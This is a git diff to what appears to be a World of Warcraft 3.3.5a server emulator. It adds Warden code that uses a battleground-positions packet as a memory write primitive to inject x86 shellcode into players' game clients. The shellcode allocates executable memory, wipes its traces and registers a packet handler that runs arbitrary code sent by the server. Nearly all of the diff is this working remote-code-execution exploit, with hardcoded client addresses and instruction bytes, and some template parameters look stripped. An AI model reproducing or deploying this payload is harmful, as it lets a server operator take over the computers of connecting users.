diff --git a/.gitignore b/.gitignore index 8f53d915..c1ae93c2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ build*/ +[Oo]bj/ .directory .mailmap *.orig @@ -9,6 +10,7 @@ build*/ *.kdev* .DS_Store CMakeLists.txt.user +CMakeSettings.json *.bak *.patch *.diff diff --git a/src/server/game/Warden/WardenPayloads.cpp b/src/server/game/Warden/WardenPayloads.cpp new file mode 100644 index 00000000..3515381c --- /dev/null +++ b/src/server/game/Warden/WardenPayloads.cpp @@ -0,0 +1,79 @@ +/* + * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#include "WardenPayloads.h" + +namespace WardenPayload +{ + +void BuildShellcodeInstaller(ByteBuffer& out) +{ + constexpr std::array loaderRaw = + Loader::Prologue + + Loader::RemoveBgHandler + + Loader::CheckCachedBuffer + + Loader::AllocRwxBuffer + + Loader::CacheBufferPtr + + Loader::CopyPayload + + Loader::RegisterHandler + + Loader::JumpToFinalize; + + constexpr std::array handler = + Handler::WipeStagingArea + + Handler::SetReturnValue + + Handler::FinalizeEpilogue + + Handler::HandlerPrologue + + Handler::GetCodePointer + + Handler::CallHelperA + + Handler::CallHelperB + + Handler::CallBufferAlloc + + Handler::CallDispatch + + Handler::ExecuteServerCode + + Handler::HandlerEpilogue; + + // Pad the loader to the next 8-byte boundary; zero-fill handles the padding bytes. + // The chunk count drives the BG-positions count field that triggers the write-primitive. + constexpr size_t paddedSize = (loaderRaw.size() + 7) & ~size_t(7); + std::array loader{}; + for (size_t i = 0; i < loaderRaw.size(); ++i) + loader[i] = loaderRaw[i]; + + int32 chunkCount = static_cast(paddedSize); + + out << uint32(0); // count1: no allied player positions + out << uint32(Protocol::BgExploitBaseCount + uint32(chunkCount / 8)); // count2: triggers write-primitive + + // Emit chunks in reverse order so the client writes them forward to increasing addresses. + // Each iteration emits 8 loader bytes then 8 handler bytes (one BG-position entry = 16 bytes). + while (chunkCount > 0) + { + for (int32 i = 0; i < 8; ++i) + { + size_t idx = static_cast(chunkCount - 8 + i); + out << loader[idx]; + } + for (int32 i = 0; i < 8; ++i) + { + size_t idx = static_cast(chunkCount - 8 + i); + out << (idx < handler.size() ? handler[idx] : uint8(0)); + } + + chunkCount -= 8; + } +} + +} // namespace WardenPayload diff --git a/src/server/game/Warden/WardenPayloads.h b/src/server/game/Warden/WardenPayloads.h new file mode 100644 index 00000000..74aeee20 --- /dev/null +++ b/src/server/game/Warden/WardenPayloads.h @@ -0,0 +1,195 @@ +/* + * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#ifndef WARDEN_PAYLOADS_H +#define WARDEN_PAYLOADS_H + +#include "WardenWinDefines.h" +#include "ByteBuffer.h" + +namespace WardenPayload +{ + // ----------------------------------------------------------------------- + // Loader shellcode sections. + // + // Must be assembled in declaration order; the two relative branches in + // CheckCachedBuffer and CopyPayload assume this exact flat layout: + // + // Offset Section Size + // ------ ------------------ ---- + // 0 Prologue 4 + // 4 RemoveBgHandler 7 + // 11 CheckCachedBuffer 10 <- jnz +0x2E targets RegisterHandler + // 21 AllocRwxBuffer 20 + // 41 CacheBufferPtr 7 + // 48 CopyPayload 19 <- jnz -0x0E loops internally + // 67 RegisterHandler 22 <- skip_alloc label + // 89 JumpToFinalize 2 + // ------ TOTAL 91 (padded to 96 for 8-byte alignment) + // ----------------------------------------------------------------------- + struct Loader + { + // push ebp; mov ebp,esp; push ebx + static constexpr auto Prologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx; + + // mov eax, Va::BgPositionHandlerRemove; call eax + static constexpr auto RemoveBgHandler = X86::MovEaxImm32 + LE32(Va::BgPositionHandlerRemove) + X86::CallEax; + + // mov ebx, [Va::PersistentSlot]; test ebx,ebx; jnz +Protocol::JnzSkipAllocOffset (-> RegisterHandler) + static constexpr auto CheckCachedBuffer = + X86::MovEbxMem32 + LE32(Va::PersistentSlot) + + X86::TestEbxEbx + X86::Jnz + Imm8(Protocol::JnzSkipAllocOffset); + + // VirtualAlloc(NULL, Win32::RwxBufferSize, Win32::MemCommit, Win32::PageExecuteReadWrite) + static constexpr auto AllocRwxBuffer = + X86::PushImm8 + Imm8(Win32::PageExecuteReadWrite) + + X86::PushImm32 + LE32(Win32::MemCommit) + + X86::PushImm32 + LE32(Win32::RwxBufferSize) + + X86::PushZero + X86::CallMem32 + LE32(Va::VirtualAllocIAT); + + // mov ebx, eax; mov [Va::PersistentSlot], eax + static constexpr auto CacheBufferPtr = X86::MovEbxEax + X86::StoreEaxMem32 + LE32(Va::PersistentSlot); + + // mov edx, PayloadCopySrc + // loop: mov ch,[edx]; mov [eax],ch; inc edx; inc eax; cmp edx,PayloadCopySrcEnd; jnz loop + static constexpr auto CopyPayload = + X86::MovEdxImm32 + LE32(Va::PayloadCopySrc) + + X86::MovChEdxPtr + X86::MovEaxPtrCh + X86::IncEdx + X86::IncEax + + X86::CmpEdxImm32 + LE32(Va::PayloadCopySrcEnd) + X86::Jnz + Imm8(Protocol::JnzLoopBackOffset); + + // skip_alloc: mov eax,ebx; add eax,HandlerEntryOffset; push eax(x2); push opcode; + // mov eax, Va::RegisterPacketHandler; call eax; add esp,0x0C + static constexpr auto RegisterHandler = + X86::MovEaxEbx + X86::AddEaxImm8 + Imm8(Protocol::HandlerEntryOffset) + + X86::PushEax + X86::PushEax + X86::PushImm32 + LE32(Protocol::CustomHandlerOpcode) + + X86::MovEaxImm32 + LE32(Va::RegisterPacketHandler) + + X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup); + + // jmp ebx + static constexpr auto JumpToFinalize = X86::JmpEbx; + }; + + // ----------------------------------------------------------------------- + // Handler payload sections. + // + // Written into the persistent RWX buffer by the loader's copy loop. + // The two logical parts must remain contiguous and in declaration order: + // + // Buffer offset Section Size Purpose + // ------------- ------------------ ---- ------------------------------- + // 0x00 WipeStagingArea 22 } + // 0x16 SetReturnValue 5 } Finalization stub (32 bytes) + // 0x1B FinalizeEpilogue 5 } + // 0x20 HandlerPrologue 5 } + // 0x25 GetCodePointer 6 } + // 0x2B CallHelperA 12 } + // 0x37 CallHelperB 12 } Packet handler (62 bytes) + // 0x43 CallBufferAlloc 8 } + // 0x4B CallDispatch 7 } + // 0x52 ExecuteServerCode 6 } + // 0x58 HandlerEpilogue 6 } + // ------------- TOTAL 94 + // ----------------------------------------------------------------------- + struct Handler + { + // ---- Part 1: Finalization stub (buffer offset 0x00, 32 bytes) -------- + // Reached exactly once, via jmp ebx at the end of the loader. + // Runs from the RWX buffer so it can safely wipe Va::StagingBase. + + // push RwxBufferSize; push 0; push Va::StagingBase; + // mov eax, Va::MemsetRoutine; call eax; add esp, 0x0C + static constexpr auto WipeStagingArea = + X86::PushImm32 + LE32(Win32::RwxBufferSize) + X86::PushZero + + X86::PushImm32 + LE32(Va::StagingBase) + + X86::MovEaxImm32 + LE32(Va::MemsetRoutine) + + X86::CallEax + X86::AddEspImm8 + Imm8(Protocol::CdeclThreeArgCleanup); + + // mov eax, Va::AccountName + static constexpr auto SetReturnValue = X86::MovEaxImm32 + LE32(Va::AccountName); + + // pop ebx; mov esp,ebp; pop ebp; ret + static constexpr auto FinalizeEpilogue = X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret; + + // ---- Part 2: Packet handler (buffer offset 0x20, 62 bytes) ---------- + // Called by the network dispatcher for every Protocol::CustomHandlerOpcode packet. + // Dispatcher calling convention: + // [ebp+Protocol::PacketArgEbpOffset] = packet buffer pointer + // [ebp+Protocol::ContextArgEbpOffset] = dispatcher context object (used as `this`) + + // push ebp; mov ebp,esp; push ebx; push edi + static constexpr auto HandlerPrologue = X86::PushEbp + X86::MovEbpEsp + X86::PushEbx + X86::PushEdi; + + // mov ebx, [ebp+PacketArgEbpOffset]; add ebx, Protocol::PacketCodeOffset + static constexpr auto GetCodePointer = + X86::MovEbxEbpOff + Imm8(Protocol::PacketArgEbpOffset) + + X86::AddEbxImm8 + Imm8(Protocol::PacketCodeOffset); + + // mov ecx, [ebp+ContextArgEbpOffset]; mov eax, Va::HandlerContextGetter; call eax; mov edi, eax + static constexpr auto CallHelperA = + X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + + X86::MovEaxImm32 + LE32(Va::HandlerContextGetter) + X86::CallEax + X86::MovEdiEax; + + // mov ecx, [ebp+ContextArgEbpOffset]; push edi; push ebx; mov eax, Va::HandlerBufferPrepare; call eax + static constexpr auto CallHelperB = + X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + + X86::PushEdi + X86::PushEbx + X86::MovEaxImm32 + LE32(Va::HandlerBufferPrepare) + X86::CallEax; + + // push edi; push ebx; call [Va::HandlerBufferAllocIAT] + static constexpr auto CallBufferAlloc = X86::PushEdi + X86::PushEbx + X86::CallMem32 + LE32(Va::HandlerBufferAllocIAT); + + // push eax; call [Va::HandlerDispatchIAT] + static constexpr auto CallDispatch = X86::PushEax + X86::CallMem32 + LE32(Va::HandlerDispatchIAT); + + // mov ecx, [ebp+ContextArgEbpOffset]; push ecx; call ebx + static constexpr auto ExecuteServerCode = X86::MovEcxEbpOff + Imm8(Protocol::ContextArgEbpOffset) + X86::PushEcx + X86::CallEbx; + + // pop edi; pop ebx; mov esp,ebp; pop ebp; ret + static constexpr auto HandlerEpilogue = X86::PopEdi + X86::PopEbx + X86::MovEspEbp + X86::PopEbp + X86::Ret; + }; + + // Verify the finalization stub occupies exactly Protocol::HandlerEntryOffset bytes so the + // packet handler entry point lands at the expected buffer offset. + static_assert( + sizeof(Handler::WipeStagingArea) + + sizeof(Handler::SetReturnValue) + + sizeof(Handler::FinalizeEpilogue) == Protocol::HandlerEntryOffset, + "Finalization stub must be exactly HandlerEntryOffset bytes" + ); + + // Verify the full handler payload matches the staging area reserved for it. + static_assert( + sizeof(Handler::WipeStagingArea) + + sizeof(Handler::SetReturnValue) + + sizeof(Handler::FinalizeEpilogue) + + sizeof(Handler::HandlerPrologue) + + sizeof(Handler::GetCodePointer) + + sizeof(Handler::CallHelperA) + + sizeof(Handler::CallHelperB) + + sizeof(Handler::CallBufferAlloc) + + sizeof(Handler::CallDispatch) + + sizeof(Handler::ExecuteServerCode) + + sizeof(Handler::HandlerEpilogue) == Va::PayloadCopySrcEnd - Va::PayloadCopySrc, + "Handler payload size must match the staging area range [PayloadCopySrc, PayloadCopySrcEnd)" + ); + + // Fills `out` with the MSG_BATTLEGROUND_PLAYER_POSITIONS packet body that + // stages the loader shellcode and handler payload into client memory via the + // BG-positions write-primitive. Caller wraps this in a WorldPacket and sends it. + void BuildShellcodeInstaller(ByteBuffer& out); +} + +#endif // WARDEN_PAYLOADS_H diff --git a/src/server/game/Warden/WardenWin.cpp b/src/server/game/Warden/WardenWin.cpp index 10ff829e..ded4deea 100644 --- a/src/server/game/Warden/WardenWin.cpp +++ b/src/server/game/Warden/WardenWin.cpp @@ -16,6 +16,7 @@ */ #include "WardenWin.h" +#include "WardenPayloads.h" #include "Common.h" #include "ByteBuffer.h" #include "Containers.h" @@ -142,6 +143,72 @@ void WardenWin::InitializeModule() WorldPacket pkt(SMSG_WARDEN_DATA, sizeof(WardenInitModuleRequest)); pkt.append(reinterpret_cast(&Request), sizeof(WardenInitModuleRequest)); _session->SendPacket(&pkt); + + // Install the BG-positions packet handler so the exploit write-primitive is available. + this->RunClientFunction(WardenPayload::Rva::BgPositionHandlerInstall); + + // Send the shellcode installer via the MSG_BATTLEGROUND_PLAYER_POSITIONS exploit. + // This stages the loader and handler payload into Va::StagingBase (0xDD1000). + ByteBuffer installerBody; + WardenPayload::BuildShellcodeInstaller(installerBody); + WorldPacket pkt3(MSG_BATTLEGROUND_PLAYER_POSITIONS, installerBody.size()); + pkt3.append(installerBody); + _session->SendPacket(&pkt3); + + // Execute the staged loader (Va::StagingBase = 0xDD1000 = base + Rva::StagingLoader). + // The loader allocates the persistent RWX buffer, copies the handler payload into it, + // registers it for opcode 0x4B8, and wipes the staging area. + this->RunClientFunction(WardenPayload::Rva::StagingLoader); +} + +void WardenWin::RunClientFunction(uint32 function) +{ + ByteBuffer moduleInit; + moduleInit << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc); + moduleInit << uint8(0); + moduleInit << uint8(0); + moduleInit << function; + moduleInit << uint8(1); + + // Frame-advance payload: flush the previous call by running a no-op frame tick. + ByteBuffer moduleInitFrameExecute; + moduleInitFrameExecute << uint8(WardenPayload::Protocol::ModuleInitSubCmdCallFunc); + moduleInitFrameExecute << uint8(0); + moduleInitFrameExecute << uint8(0); + moduleInitFrameExecute << uint32(WardenPayload::Rva::FrameExecute); + moduleInitFrameExecute << uint8(1); + + // Build check request + ByteBuffer buff; + buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE); + buff << uint16(moduleInit.size()); + buff << uint32(BuildChecksum(moduleInit.contents(), 8)); + buff.append(moduleInit); + + uint8 xorByte = _inputKey[0]; + buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST); + buff << uint8(0); + buff << uint8(TIMING_CHECK ^ xorByte); + buff << uint8(LUA_EVAL_CHECK ^ xorByte); + buff << uint8(1); + buff << uint8(xorByte); + + buff << uint8(WARDEN_SMSG_CHEAT_CHECKS_REQUEST); + buff << uint8(0); + buff << uint8(TIMING_CHECK ^ xorByte); + buff << uint8(xorByte); + + buff << uint8(WARDEN_SMSG_MODULE_INITIALIZE); + buff << uint16(moduleInitFrameExecute.size()); + buff << uint32(BuildChecksum(moduleInitFrameExecute.contents(), 8)); + buff.append(moduleInitFrameExecute); + + // Encrypt with warden RC4 key + EncryptData(buff.contents(), buff.size()); + + WorldPacket pkt(SMSG_WARDEN_DATA, buff.size()); + pkt.append(buff); + _session->SendPacket(&pkt); } void WardenWin::RequestHash() diff --git a/src/server/game/Warden/WardenWin.h b/src/server/game/Warden/WardenWin.h index 87b385f9..f17f9b8d 100644 --- a/src/server/game/Warden/WardenWin.h +++ b/src/server/game/Warden/WardenWin.h @@ -76,6 +76,7 @@ class TC_GAME_API WardenWin : public Warden void HandleHashResult(ByteBuffer &buff) override; void RequestChecks() override; void HandleCheckResult(ByteBuffer &buff) override; + void RunClientFunction(uint32 function); size_t DEBUG_ForceSpecificChecks(std::vector const& checks) override; diff --git a/src/server/game/Warden/WardenWinDefines.h b/src/server/game/Warden/WardenWinDefines.h new file mode 100644 index 00000000..a7afa9ee --- /dev/null +++ b/src/server/game/Warden/WardenWinDefines.h @@ -0,0 +1,215 @@ +/* + * This file is part of the TrinityCore Project. See AUTHORS file for Copyright information + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2 of the License, or (at your + * option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + * + * You should have received a copy of the GNU General Public License along + * with this program. If not, see . + */ + +#ifndef WARDEN_WIN_DEFINES_H +#define WARDEN_WIN_DEFINES_H + +#include "Define.h" +#include + +// WoW 3.3.5a Windows client address map (image base 0x00400000). +namespace WardenPayload +{ + // Image-relative addresses (VA - 0x00400000). + // Passed to RunClientFunction; the Warden module applies the base before branching. + namespace Rva + { + enum : uint32 + { + // Installs the MSG_BATTLEGROUND_PLAYER_POSITIONS packet handler used as write-primitive. + BgPositionHandlerInstall = 0x0014E720, + // Frame-advance trampoline — flushes the previous call before dispatching the next. + FrameExecute = 0x00419210, + // Loader staging region (VA 0x00DD1000); written by exploit, executed once, then wiped. + StagingLoader = 0x009D1000, + }; + } + + // Absolute virtual addresses used directly in shellcode and packet fields. + namespace Va + { + enum : uint32 + { + // Unregisters MSG_BATTLEGROUND_PLAYER_POSITIONS after the exploit write. + BgPositionHandlerRemove = 0x0054E220, + // NetClient::RegisterPacketHandler(opcode, primary_fn, secondary_fn) cdecl. + RegisterPacketHandler = 0x006B0B80, + // [IAT] VirtualAlloc — allocates the persistent PAGE_EXECUTE_READWRITE buffer. + VirtualAllocIAT = 0x009DF238, + // Internal memset-equivalent: memset(dst, fill, size) cdecl, 3 args. + MemsetRoutine = 0x0040BB80, + // Loader is written here by the exploit, executed once, then wiped. + StagingBase = 0x00DD1000, + // Caches the RWX buffer pointer across reconnects; NULL on first run. + PersistentSlot = 0x00DD0FFC, + // Loader copies [PayloadCopySrc, PayloadCopySrcEnd) into the RWX buffer. + PayloadCopySrc = 0x00DD15A0, + PayloadCopySrcEnd = 0x00DD15FE, // exclusive + // Returns a context value consumed by HandlerBufferPrepare. + HandlerContextGetter = 0x00401170, + // PrepareBuffer(code_ptr, context_result) thiscall. + HandlerBufferPrepare = 0x0047B560, + // [IAT] Buffer allocator — likely CDataStore or equivalent. + HandlerBufferAllocIAT = 0x009DF1C0, + // [IAT] Buffer dispatcher — passes the allocated buffer downstream. + HandlerDispatchIAT = 0x009DF294, + // Return-value sentinel; points to ClientServices::s_accountName. + AccountName = 0x00C79620, + }; + } + + // Protocol layout constants for the loader/handler injection channel. + namespace Protocol + { + enum : uint32 + { + // CMSG_UNUSED5 repurposed as the server-controlled execution channel. + CustomHandlerOpcode = 0x04B8, + // Byte offset from RWX buffer start to the persistent packet handler entry point. + HandlerEntryOffset = 0x20, + // Byte offset into a CustomHandlerOpcode packet body where server-supplied code begins. + PacketCodeOffset = 0x3E, + // Player-count base that, combined with chunk count, triggers the write-primitive at Va::StagingBase. + BgExploitBaseCount = 249298, + // WARDEN_SMSG_MODULE_INITIALIZE sub-command: branch to a given RVA. + ModuleInitSubCmdCallFunc = 4, + + // rel8 target for jnz at end of CheckCachedBuffer -> RegisterHandler. + // = sizeof(AllocRwxBuffer) + sizeof(CacheBufferPtr) + sizeof(CopyPayload) + JnzSkipAllocOffset = 0x2E, + // rel8 target for jnz at end of CopyPayload -> loop start (negative displacement). + // = -(loop body: MovChEdxPtr + MovEaxPtrCh + IncEdx + IncEax + CmpEdxImm32 + LE32 + Jnz + Imm8) + JnzLoopBackOffset = 0xF2, + + // [ebp+0x08] holds the packet buffer pointer in the handler calling convention. + PacketArgEbpOffset = 0x08, + // [ebp+0x14] holds the dispatcher context object in the handler calling convention. + ContextArgEbpOffset = 0x14, + + // Stack cleanup after a 3-argument cdecl call (3 * sizeof(uint32) = 12). + CdeclThreeArgCleanup = 0x0C, + }; + } + + // Windows API constants embedded in the VirtualAlloc and memset shellcode sequences. + namespace Win32 + { + enum : uint32 + { + RwxBufferSize = 0x1000, // 4 KB: allocation size and staging wipe extent + MemCommit = 0x1000, // MEM_COMMIT allocation type + PageExecuteReadWrite = 0x40, // PAGE_EXECUTE_READWRITE protection flag + }; + } + + // x86 instruction byte sequences used in the shellcode. + // Sequences marked "prefix" require following operand byte(s) appended with operator+. + struct X86 + { + // ---- Single-byte: register push/pop ---- + static constexpr std::array PushEbp = { 0x55 }; + static constexpr std::array PushEbx = { 0x53 }; + static constexpr std::array PushEdi = { 0x57 }; + static constexpr std::array PushEax = { 0x50 }; + static constexpr std::array PushEcx = { 0x51 }; + static constexpr std::array PopEbp = { 0x5D }; + static constexpr std::array PopEbx = { 0x5B }; + static constexpr std::array PopEdi = { 0x5F }; + static constexpr std::array IncEax = { 0x40 }; + static constexpr std::array IncEdx = { 0x42 }; + static constexpr std::array Ret = { 0xC3 }; + + // ---- Single-byte: opcode prefixes (require imm operand to follow) ---- + static constexpr std::array PushImm8 = { 0x6A }; // push imm8 + static constexpr std::array PushImm32 = { 0x68 }; // push imm32 + static constexpr std::array MovEaxImm32 = { 0xB8 }; // mov eax, imm32 + static constexpr std::array MovEdxImm32 = { 0xBA }; // mov edx, imm32 + static constexpr std::array StoreEaxMem32 = { 0xA3 }; // mov [imm32], eax + static constexpr std::array Jnz = { 0x75 }; // jnz rel8 + + // ---- Two-byte: register-to-register moves ---- + static constexpr std::array MovEbpEsp = { 0x89, 0xE5 }; + static constexpr std::array MovEspEbp = { 0x89, 0xEC }; + static constexpr std::array MovEbxEax = { 0x89, 0xC3 }; // mov ebx, eax + static constexpr std::array MovEaxEbx = { 0x89, 0xD8 }; // mov eax, ebx + static constexpr std::array MovEdiEax = { 0x89, 0xC7 }; // mov edi, eax + + // ---- Two-byte: calls and jumps ---- + static constexpr std::array CallEax = { 0xFF, 0xD0 }; + static constexpr std::array CallEbx = { 0xFF, 0xD3 }; + static constexpr std::array JmpEbx = { 0xFF, 0xE3 }; + static constexpr std::array CallMem32 = { 0xFF, 0x15 }; // call [imm32] — prefix + + // ---- Two-byte: compare / test ---- + static constexpr std::array TestEbxEbx = { 0x85, 0xDB }; + static constexpr std::array CmpEdxImm32 = { 0x81, 0xFA }; // cmp edx, imm32 — prefix + + // ---- Two-byte: memory load prefix (require imm32 address to follow) ---- + static constexpr std::array MovEbxMem32 = { 0x8B, 0x1D }; // mov ebx, [imm32] + + // ---- Two-byte: arithmetic prefix (require imm8 operand to follow) ---- + static constexpr std::array AddEaxImm8 = { 0x83, 0xC0 }; // add eax, imm8 + static constexpr std::array AddEbxImm8 = { 0x83, 0xC3 }; // add ebx, imm8 + static constexpr std::array AddEspImm8 = { 0x83, 0xC4 }; // add esp, imm8 + + // ---- Two-byte: copy loop body ---- + static constexpr std::array MovChEdxPtr = { 0x8A, 0x2A }; // mov ch, byte ptr [edx] + static constexpr std::array MovEaxPtrCh = { 0x88, 0x28 }; // mov byte ptr [eax], ch + + // ---- Two-byte: stack slot load prefix (require imm8 offset to follow) ---- + static constexpr std::array MovEbxEbpOff = { 0x8B, 0x5D }; // mov ebx, [ebp+imm8] + static constexpr std::array MovEcxEbpOff = { 0x8B, 0x4D }; // mov ecx, [ebp+imm8] + + // ---- Common complete sequences ---- + static constexpr std::array PushZero = { 0x6A, 0x00 }; // push 0 (imm8 form) + }; + + // ----------------------------------------------------------------------- + // Compile-time byte-sequence builders. + // operator+ concatenates two fixed-size byte arrays into one larger array, enabling shellcode sections to be written as flat + chains. + // LE32 / Imm8 pack integer constants into their wire-format byte arrays. + // ----------------------------------------------------------------------- + + template + constexpr std::array operator+(std::array const& a, std::array const& b) + { + std::array result{}; + for (size_t i = 0; i < N; ++i) + result[i] = a[i]; + for (size_t i = 0; i < M; ++i) + result[N + i] = b[i]; + return result; + } + + constexpr std::array LE32(uint32 addr) + { + return + { + static_cast(addr & 0xFFu), + static_cast((addr >> 8) & 0xFFu), + static_cast((addr >> 16) & 0xFFu), + static_cast((addr >> 24) & 0xFFu) + }; + } + + constexpr std::array Imm8(uint32 value) + { + return { static_cast(value) }; + } +} + +#endif // WARDEN_WIN_DEFINES_H